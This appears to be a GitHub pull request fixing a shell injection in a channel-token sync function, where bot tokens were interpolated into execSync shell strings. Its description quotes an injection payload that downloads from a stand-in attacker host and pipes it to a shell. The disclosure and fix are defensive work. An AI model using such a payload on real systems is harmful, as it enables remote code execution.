Fix shell command injection in channel token sync - #116
Open
jay79-boop wants to merge 1 commit into
Open
Conversation
syncChannelConfig() built its `openclaw channels add`/`remove` commands
as interpolated shell strings and ran them with execSync(), which
executes via `/bin/sh -c`:
execSync(`openclaw channels add --channel ${ch} --token "${token}"`, ...)
execSync(`openclaw channels add --channel slack --bot-token "${token}" --app-token "${appToken}"`, ...)
`token`/`appToken` come from saved env var values (channel bot tokens),
wrapped in double quotes but never escaped. A value containing `"`,
`$`, or a backtick breaks out of the quoted argument and lets the rest
of the string run as additional shell commands -- e.g. a token of
`abc" ; curl attacker.example | sh ; echo "` becomes a second,
attacker-chosen command executed by the same process.
This function runs both from the authenticated PUT /api/env handler
(routes/system.js) and unconditionally at server startup reading
straight from the .env file on disk (startup.js), so it's reachable
by whatever produced the token value in .env, not only by someone
directly typing into the Envars UI (e.g. onboarding's config-import
flow can seed .env from an external source).
The rest of this codebase already handles this correctly elsewhere --
agents/channels.js escapes every token via shellEscapeArg() before
building its clawCmd() strings. This one code path never got the same
treatment.
Fixed by switching to execFileSync() with the token/appToken passed as
separate argv entries, which never goes through a shell at all (same
approach already used correctly in routes/browse/git.js), rather than
trying to get manual shell-quoting right.
Added tests/server/gateway.test.js coverage proving a token containing
shell metacharacters is passed through as a single, literal argv
element for both the generic (--token) and Slack (--bot-token/--app-token)
code paths.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Summary
syncChannelConfig()inlib/server/gateway.jsbuilt itsopenclaw channels add/removecommands as interpolated shell strings and ran them withexecSync()(which executes via/bin/sh -c):token/appTokencome from saved env var values (channel bot tokens), wrapped in double quotes but never escaped. A value containing",$, or a backtick breaks out of the quoted argument and lets the rest of the string execute as additional shell commands — e.g. a token ofabc" ; curl attacker.example | sh ; echo "becomes a second, attacker-chosen command run by the same process. (chitself is always one of the hardcodedkChannelDefskeys, so that part was never at risk — only the token values.)This function runs both from the authenticated
PUT /api/envhandler (routes/system.js) and unconditionally at every server startup, reading straight from.envon disk (startup.js:syncChannelConfig(readEnvFile())). So it's reachable by whatever produced the token value currently in.env— not only by someone hand-typing into the Envars UI. (Onboarding's config-import flow, for one, can seed.envfrom an external source.)The rest of this codebase already handles this correctly elsewhere —
agents/channels.jsescapes every token viashellEscapeArg()before building itsclawCmd()strings. This one code path (bulk env-var-driven channel sync) never got the same treatment.Fix
Switched to
execFileSync()with the token/appToken passed as separate argv entries, which never goes through a shell at all — the same approach already used correctly inroutes/browse/git.js— rather than trying to get manual shell-quoting right.Test plan
tests/server/gateway.test.jscoverage proving a token containing shell metacharacters (",;, backticks) is passed through as a single, literal argv element for both the generic (--token) and Slack (--bot-token/--app-token) code paths.gateway.test.jssuite passes unchanged (the 6 pre-existing failures on this run are unrelated Windows-path artifacts, not caused by this change).